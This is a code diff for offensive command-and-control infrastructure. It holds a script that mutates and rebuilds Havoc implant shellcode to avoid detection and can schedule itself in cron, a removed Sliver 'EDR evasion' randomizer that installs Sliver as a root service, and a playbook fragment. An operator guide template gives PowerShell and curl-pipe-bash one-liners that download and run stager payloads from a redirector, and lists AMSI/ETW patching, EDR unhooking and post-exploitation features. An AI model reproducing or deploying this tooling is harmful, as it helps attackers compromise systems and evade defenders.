log "${RED}[!] Build failed at implant level${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
log "${RED}[!] No Makefile found to build the implant${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Verify the shellcode was generated
|
||||||
|
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||||
|
log "${GREEN}[✓] Build successful! New shellcode generated at: $OUTPUT_FILE${NC}"
|
||||||
|
|
||||||
|
# Calculate hash for verification
|
||||||
|
local NEW_HASH=$(sha256sum "$OUTPUT_FILE" | cut -d' ' -f1)
|
||||||
|
log "${GREEN}[✓] New shellcode hash: ${NEW_HASH}${NC}"
|
||||||
|
|
||||||
|
# Optional: Compare with previous hash if a backup exists
|
||||||
|
local BACKUP_FILE="$BACKUP_DIR/implant_$TIMESTAMP.raw"
|
||||||
|
if [[ -f "$BACKUP_FILE" ]]; then
|
||||||
|
local OLD_HASH=$(sha256sum "$BACKUP_FILE" | cut -d' ' -f1)
|
||||||
|
if [[ "$NEW_HASH" != "$OLD_HASH" ]]; then
|
||||||
|
log "${GREEN}[✓] Verified: Shellcode has been successfully mutated${NC}"
|
||||||
|
else
|
||||||
|
log "${YELLOW}[!] Warning: New shellcode hash matches old hash${NC}"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
return 0
|
||||||
|
else
|
||||||
|
log "${RED}[!] Build failed or shellcode was not generated at expected location: $OUTPUT_FILE${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# === AUTO-SCHEDULING FUNCTION ===
|
||||||
|
setup_auto_mutation() {
|
||||||
|
local SCRIPT_PATH=$(realpath "$0")
|
||||||
|
local CRON_ENTRY="0 */6 * * * $SCRIPT_PATH > /dev/null 2>&1"
|
||||||
|
|
||||||
|
# Check if already in crontab
|
||||||
|
if crontab -l 2>/dev/null | grep -q "$SCRIPT_PATH"; then
|
||||||
|
log "${YELLOW}[!] Auto-mutation already scheduled in crontab${NC}"
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Add to crontab
|
||||||
|
(crontab -l 2>/dev/null || echo "") | echo "$CRON_ENTRY" | crontab -
|
||||||
|
|
||||||
|
if [ $? -eq 0 ]; then
|
||||||
|
log "${GREEN}[✓] Auto-mutation scheduled for every 6 hours${NC}"
|
||||||
|
else
|
||||||
|
log "${RED}[!] Failed to schedule auto-mutation${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# === MAIN EXECUTION ===
|
||||||
|
main() {
|
||||||
|
# Create directories
|
||||||
|
mkdir -p "$BACKUP_DIR"
|
||||||
|
mkdir -p "$OUTPUT_DIR"
|
||||||
|
|
||||||
|
# Start log file
|
||||||
|
echo "=== Havoc Implant Mutation Log - $TIMESTAMP ===" > "$LOG_FILE"
|
||||||
|
|
||||||
|
log "${BLUE}════════════════════════════════════════════${NC}"
|
||||||
|
log "${BLUE} Havoc Implant Mutation Tool v1.0 ${NC}"
|
||||||
|
log "${BLUE}════════════════════════════════════════════${NC}"
|
||||||
|
|
||||||
|
# Check for Havoc installation
|
||||||
|
if [ ! -d "$HAVOC_ROOT" ]; then
|
||||||
|
log "${RED}[!] Havoc root directory not found at: $HAVOC_ROOT${NC}"
|
||||||
|
log "${YELLOW}[!] Use HAVOC_ROOT=/path/to/havoc $0 to specify location${NC}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Backup everything first
|
||||||
|
log "${YELLOW}[+] Backing up current implant and source files...${NC}"
|
||||||
|
backup_sources
|
||||||
|
|
||||||
|
# Start mutations
|
||||||
|
log "${YELLOW}[+] Starting implant mutations...${NC}"
|
||||||
|
|
||||||
|
# Apply all mutation types
|
||||||
|
mutate_transport_http
|
||||||
|
mutate_named_resources
|
||||||
|
mutate_memory_strings
|
||||||
|
mutate_config_file
|
||||||
|
|
||||||
|
# Advanced mutations
|
||||||
|
if $ADD_JUNK_CODE; then
|
||||||
|
add_junk_code
|
||||||
|
fi
|
||||||
|
|
||||||
|
if $RANDOMIZE_FUNCTIONS; then
|
||||||
|
randomize_function_names
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Rebuild the implant
|
||||||
|
rebuild_implant
|
||||||
|
|
||||||
|
# Show completion summary
|
||||||
|
log "${BLUE}════════════════════════════════════════════${NC}"
|
||||||
|
log "${GREEN}[✓] Implant mutation completed successfully!${NC}"
|
||||||
|
log "${GREEN}[✓] Backup saved to: ${BACKUP_DIR}${NC}"
|
||||||
|
log "${GREEN}[✓] Log file: ${LOG_FILE}${NC}"
|
||||||
|
log "${BLUE}════════════════════════════════════════════${NC}"
|
||||||
|
|
||||||
|
# Ask about auto-scheduling
|
||||||
|
if [ -t 0 ]; then # Only if running interactively
|
||||||
|
read -p "Would you like to set up automatic mutation every 6 hours? (y/n): " SETUP_AUTO
|
||||||
|
if [ "$SETUP_AUTO" = "y" ]; then
|
||||||
|
setup_auto_mutation
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Parse command line arguments
|
||||||
|
while [[ $# -gt 0 ]]; do
|
||||||
|
case $1 in
|
||||||
|
--auto-schedule)
|
||||||
|
setup_auto_mutation
|
||||||
|
exit 0
|
||||||
|
;;
|
||||||
|
--no-junk)
|
||||||
|
ADD_JUNK_CODE=false
|
||||||
|
shift
|
||||||
|
;;
|
||||||
|
--no-functions)
|
||||||
|
RANDOMIZE_FUNCTIONS=false
|
||||||
|
shift
|
||||||
|
;;
|
||||||
|
--config-only)
|
||||||
|
# Only modify the config file
|
||||||
|
mkdir -p "$BACKUP_DIR"
|
||||||
|
backup_sources
|
||||||
|
mutate_config_file
|
||||||
|
exit 0
|
||||||
|
;;
|
||||||
|
--help)
|
||||||
|
echo "Usage: $0 [options]"
|
||||||
|
echo "Options:"
|
||||||
|
echo " --auto-schedule Setup automatic mutation via crontab"
|
||||||
|
echo " --no-junk Don't add junk code to source files"
|
||||||
|
echo " --no-functions Don't randomize function names"
|
||||||
|
echo " --config-only Only modify the configuration file"
|
||||||
|
echo " --help Show this help message"
|
||||||
|
echo ""
|
||||||
|
echo "Environment variables:"
|
||||||
|
echo " HAVOC_ROOT Path to Havoc installation (default: $HOME/Tools/Havoc)"
|
||||||
|
exit 0
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
echo "Unknown option: $1"
|
||||||
|
echo "Use --help for usage information"
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
|
||||||
|
# Execute main logic
|
||||||
|
main
|
||||||
@@ -1,119 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
# Enhanced Sliver randomizer for EDR evasion with dynamic redirector path support
|
|
||||||
|
|
||||||
set -e
|
|
||||||
TEMP_DIR=$(mktemp -d)
|
|
||||||
SLIVER_DIR="${TEMP_DIR}/sliver"
|
|
||||||
LOG_FILE="/root/Tools/sliver_randomizer.log"
|
|
||||||
|
|
||||||
# Function to log messages
|
|
||||||
log() {
|
|
||||||
echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE
|
|
||||||
}
|
|
||||||
|
|
||||||
# Function to generate random strings
|
|
||||||
random_string() {
|
|
||||||
local length=${1:-8}
|
|
||||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
|
|
||||||
}
|
|
||||||
|
|
||||||
# Install required dependencies
|
|
||||||
log "Installing dependencies..."
|
|
||||||
apt-get update >/dev/null 2>&1
|
|
||||||
apt-get install -y git golang-go make build-essential zip unzip curl gcc g++ >/dev/null 2>&1
|
|
||||||
|
|
||||||
# Clone Sliver repository
|
|
||||||
log "Cloning Sliver repository..."
|
|
||||||
git clone --quiet https://github.com/BishopFox/sliver.git $SLIVER_DIR
|
|
||||||
cd $SLIVER_DIR
|
|
||||||
|
|
||||||
# Examine repository structure
|
|
||||||
log "Analyzing Sliver repository structure..."
|
|
||||||
IMPLANT_NAME=$(random_string 12)
|
|
||||||
log "Using randomized implant name: $IMPLANT_NAME"
|
|
||||||
|
|
||||||
# Find and modify key files
|
|
||||||
log "Modifying implant name in source code..."
|
|
||||||
grep -l "ImplantName.*sliver" --include="*.go" -r . | while read file; do
|
|
||||||
sed -i "s|ImplantName *= *\"sliver\"|ImplantName = \"$IMPLANT_NAME\"|g" "$file"
|
|
||||||
log "Modified $file: Changed implant name to $IMPLANT_NAME"
|
|
||||||
done
|
|
||||||
|
|
||||||
# Add custom build ID to sliver.go
|
|
||||||
log "Adding unique build identifiers..."
|
|
||||||
SLIVER_GO_FILES=$(find . -name "sliver.go")
|
|
||||||
for file in $SLIVER_GO_FILES; do
|
|
||||||
echo -e "\n// Custom build identifier: $(random_string 32)\n// Build timestamp: $(date +%s)" >> "$file"
|
|
||||||
log "Added build identifier to $file"
|
|
||||||
done
|
|
||||||
|
|
||||||
# Modify build flags for additional randomization
|
|
||||||
log "Setting custom build flags..."
|
|
||||||
grep -l "LinkerStrip" --include="*.go" -r . | while read file; do
|
|
||||||
sed -i "s|LinkerStrip = \"-s -w\"|LinkerStrip = \"-s -w -buildid=$(random_string 10)\"|g" "$file"
|
|
||||||
log "Modified $file: Added custom build ID"
|
|
||||||
done
|
|
||||||
|
|
||||||
# Build modified Sliver server and client
|
|
||||||
log "Building customized Sliver server and client..."
|
|
||||||
make
|
|
||||||
|
|
||||||
# Check if binaries were built
|
|
||||||
if [ -f "./sliver-server" ] && [ -f "./sliver-client" ]; then
|
|
||||||
log "Build successful - installing customized binaries"
|
|
||||||
|
|
||||||
# Stop any running Sliver service
|
|
||||||
systemctl stop sliver 2>/dev/null || true
|
|
||||||
|
|
||||||
# Move binaries to system path
|
|
||||||
cp -f ./sliver-server /usr/local/bin/
|
|
||||||
cp -f ./sliver-client /usr/local/bin/
|
|
||||||
chmod +x /usr/local/bin/sliver-server
|
|
||||||
chmod +x /usr/local/bin/sliver-client
|
|
||||||
|
|
||||||
# Create systemd service file
|
|
||||||
cat > /etc/systemd/system/sliver.service << EOF
|
|
||||||
[Unit]
|
|
||||||
Description=Sliver C2 Server (Randomized Build)
|
|
||||||
After=network.target
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
Type=simple
|
|
||||||
User=root
|
|
||||||
Group=root
|
|
||||||
WorkingDirectory=/root/.sliver
|
|
||||||
ExecStart=/usr/local/bin/sliver-server daemon
|
|
||||||
Restart=always
|
|
||||||
RestartSec=10
|
|
||||||
|
|
||||||
# Security measures
|
|
||||||
PrivateTmp=true
|
|
||||||
ProtectHome=false
|
|
||||||
NoNewPrivileges=true
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
EOF
|
|
||||||
|
|
||||||
# Create sliver directories
|
|
||||||
mkdir -p /root/.sliver/{configs,operators,profiles}
|
|
||||||
|
|
||||||
# Create basic operator config
|
|
||||||
/usr/local/bin/sliver-server operator --name admin --lhost 127.0.0.1 --save /root/admin.cfg
|
|
||||||
|
|
||||||
# Start sliver service
|
|
||||||
systemctl daemon-reload
|
|
||||||
systemctl enable sliver
|
|
||||||
systemctl start sliver
|
|
||||||
|
|
||||||
log "Sliver service installed and started"
|
|
||||||
else
|
|
||||||
log "Build failed - binaries not found"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Cleanup
|
|
||||||
log "Cleaning up..."
|
|
||||||
rm -rf $TEMP_DIR
|
|
||||||
|
|
||||||
log "Sliver randomization and installation complete - implant name: $IMPLANT_NAME"
|
|
||||||
@@ -122,7 +122,7 @@
|
|||||||
mode: '0700'
|
mode: '0700'
|
||||||
owner: root
|
owner: root
|
||||||
group: root
|
group: root
|
||||||
|
|
||||||
- name: Create Havoc C2 configuration from template
|
- name: Create Havoc C2 configuration from template
|
||||||
template:
|
template:
|
||||||
src: "../templates/havoc-config.yaotl.j2"
|
src: "../templates/havoc-config.yaotl.j2"
|
||||||
@@ -165,13 +165,6 @@
|
|||||||
- "/usr/local/bin/sliver-server"
|
- "/usr/local/bin/sliver-server"
|
||||||
ignore_errors: yes
|
ignore_errors: yes
|
||||||
|
|
||||||
- name: Stop existing Sliver service if running
|
|
||||||
systemd:
|
|
||||||
name: sliver
|
|
||||||
state: stopped
|
|
||||||
enabled: no
|
|
||||||
ignore_errors: yes
|
|
||||||
|
|
||||||
- name: Install Havoc C2 Framework
|
- name: Install Havoc C2 Framework
|
||||||
shell: "/root/Tools/havoc_installer.sh"
|
shell: "/root/Tools/havoc_installer.sh"
|
||||||
args:
|
args:
|
||||||
|
|||||||
+69
-34
@@ -1,54 +1,60 @@
|
|||||||
HAVOC C2 OPERATIONS GUIDE
|
HAVOC C2 OPERATIONS GUIDE
|
||||||
==========================
|
==========================
|
||||||
|
|
||||||
This guide provides information on using the Havoc C2 framework deployed on
|
This guide provides information on using the Havoc C2 framework (dev branch)
|
||||||
your infrastructure.
|
deployed on your infrastructure.
|
||||||
|
|
||||||
SERVER INFORMATION
|
SERVER INFORMATION
|
||||||
-----------------
|
-----------------
|
||||||
C2 Server IP: {{ c2_ip }}
|
C2 Server IP: {{ c2_ip }}
|
||||||
Redirector Domain: {{ redirector_domain }}
|
Redirector Domain: {{ redirector_domain }}
|
||||||
Teamserver Port: 40056
|
Teamserver Port: {{ havoc_teamserver_port | default(40056) }}
|
||||||
Admin Password: Stored in /opt/havoc/data/profiles/default.yaotl
|
HTTP Listener Port: {{ havoc_http_port | default(8080) }}
|
||||||
|
HTTPS Listener Port: {{ havoc_https_port | default(443) }}
|
||||||
|
Admin User: {{ havoc_admin_user | default('admin') }}
|
||||||
|
Admin Password: Stored in /root/Tools/havoc/data/profiles/default.yaotl
|
||||||
|
|
||||||
CONNECTING TO THE TEAMSERVER
|
CONNECTING TO THE TEAMSERVER
|
||||||
---------------------------
|
---------------------------
|
||||||
From your local machine, you should:
|
From your local machine:
|
||||||
|
|
||||||
1. Make sure Havoc client is installed on your operator system
|
1. Make sure Havoc client (dev branch) is installed:
|
||||||
2. Connect to the Teamserver:
|
$ git clone -b dev https://github.com/HavocFramework/Havoc.git
|
||||||
|
$ cd Havoc/Client
|
||||||
|
$ mkdir build && cd build
|
||||||
|
$ cmake -GNinja ..
|
||||||
|
$ ninja
|
||||||
|
|
||||||
|
2. Connect to the Teamserver via GUI:
|
||||||
- Host: {{ c2_ip }}
|
- Host: {{ c2_ip }}
|
||||||
- Port: 40056
|
- Port: {{ havoc_teamserver_port | default(40056) }}
|
||||||
- User: admin
|
- User: {{ havoc_admin_user | default('admin') }}
|
||||||
- Password: See /opt/havoc/data/profiles/default.yaotl
|
- Password: See /root/Tools/havoc/data/profiles/default.yaotl
|
||||||
|
|
||||||
Note: You can use the team server CLI with:
|
3. CLI Connection:
|
||||||
$ havoc-teamserver client --username admin --password Your_Password
|
$ ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password]
|
||||||
|
|
||||||
LISTENERS
|
LISTENERS
|
||||||
--------
|
--------
|
||||||
Two default listeners are configured:
|
Two default listeners are configured:
|
||||||
- HTTP on port 8080
|
- HTTP on port {{ havoc_http_port | default(8080) }}
|
||||||
- HTTPS on port 443 (through the redirector)
|
- HTTPS on port {{ havoc_https_port | default(443) }} (through the redirector)
|
||||||
|
|
||||||
You can view and manage listeners through the Havoc client.
|
To view and manage listeners: Attack → Listeners in the Havoc client.
|
||||||
|
|
||||||
GENERATING PAYLOADS
|
GENERATING PAYLOADS
|
||||||
-----------------
|
-----------------
|
||||||
Pre-generated payloads are available in:
|
Pre-generated payloads are available in /root/Tools/havoc/payloads/
|
||||||
- /opt/havoc/payloads/
|
|
||||||
|
|
||||||
For new payloads:
|
To generate new payloads:
|
||||||
1. Connect to the Teamserver using the Havoc client
|
1. Connect to the Teamserver
|
||||||
2. Navigate to Attack → Payload
|
2. Navigate to Attack → Payload
|
||||||
3. Choose your payload options and generate
|
3. Select the listener (HTTPS recommended)
|
||||||
|
4. Choose architecture, format, and evasion options
|
||||||
|
5. For enhanced evasion: Enable indirect syscalls, stack spoofing, and sleep mask
|
||||||
|
|
||||||
PAYLOAD DELIVERY
|
PAYLOAD DELIVERY
|
||||||
--------------
|
--------------
|
||||||
Payloads can be delivered through:
|
|
||||||
- HTTP server at {{ c2_ip }}:8443
|
|
||||||
- Through the redirector at {{ redirector_domain }}
|
|
||||||
|
|
||||||
PowerShell one-liner:
|
PowerShell one-liner:
|
||||||
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
|
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
|
||||||
|
|
||||||
@@ -57,21 +63,50 @@ curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
|
|||||||
|
|
||||||
OPERATIONAL SECURITY
|
OPERATIONAL SECURITY
|
||||||
------------------
|
------------------
|
||||||
- All connections go through the redirector
|
- All connections are routed through the redirector
|
||||||
- Sleep times of agents are randomized (5s default with 30% jitter)
|
- Payload customization includes:
|
||||||
- Havoc is configured with numerous EDR evasion features
|
* Sleep time: {{ havoc_sleep | default(5) }} seconds with {{ havoc_jitter | default(30) }}% jitter
|
||||||
- Anti-forensics measures are enabled in all payloads
|
* EDR unhooking techniques
|
||||||
|
* AMSI/ETW patching
|
||||||
|
* Indirect syscalls
|
||||||
|
* Sleep masking with technique: {{ havoc_sleep_mask_technique | default(0) }}
|
||||||
|
|
||||||
|
ADVANCED FEATURES (DEV BRANCH)
|
||||||
|
----------------------------
|
||||||
|
- Enhanced memory scanner evasion
|
||||||
|
- PPID spoofing capabilities
|
||||||
|
- Reflective DLL loading improvements
|
||||||
|
- EDR hook detection and avoidance
|
||||||
|
- Process token manipulation
|
||||||
|
- Registry persistence options
|
||||||
|
|
||||||
|
POST-EXPLOITATION
|
||||||
|
---------------
|
||||||
|
For post-exploitation, Havoc offers:
|
||||||
|
|
||||||
|
1. BOF (Beacon Object Files) support
|
||||||
|
2. Integrated command & control modules
|
||||||
|
3. File system operations
|
||||||
|
4. Process injection & manipulation
|
||||||
|
5. Credential gathering capabilities
|
||||||
|
|
||||||
|
SERVER MANAGEMENT
|
||||||
|
---------------
|
||||||
|
- Havoc Teamserver service: systemctl status havoc
|
||||||
|
- Service configuration: /etc/systemd/system/havoc.service
|
||||||
|
- Configuration profiles: /root/Tools/havoc/data/profiles/
|
||||||
|
|
||||||
TROUBLESHOOTING
|
TROUBLESHOOTING
|
||||||
--------------
|
--------------
|
||||||
1. If agents can't connect:
|
1. Agent connection issues:
|
||||||
- Verify DNS for {{ redirector_domain }} points to your redirector
|
- Verify DNS for {{ redirector_domain }} points to your redirector
|
||||||
- Check NGINX configuration on the redirector
|
- Check nginx configuration on the redirector
|
||||||
- Ensure ports 8080 and 443 are open on respective servers
|
- Confirm ports {{ havoc_http_port | default(8080) }} and {{ havoc_https_port | default(443) }} are open
|
||||||
|
|
||||||
2. If Havoc Teamserver isn't responding:
|
2. Teamserver issues:
|
||||||
- Check service status: systemctl status havoc
|
- Check service: systemctl status havoc
|
||||||
- View logs: journalctl -u havoc
|
- View logs: journalctl -u havoc
|
||||||
- Restart if needed: systemctl restart havoc
|
- Restart if needed: systemctl restart havoc
|
||||||
|
|
||||||
3. Use the health command in Havoc client to check Teamserver health
|
3. Use Havoc client CLI debugging:
|
||||||
|
./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] --debug
|
||||||
Reference in New Issue
Block a user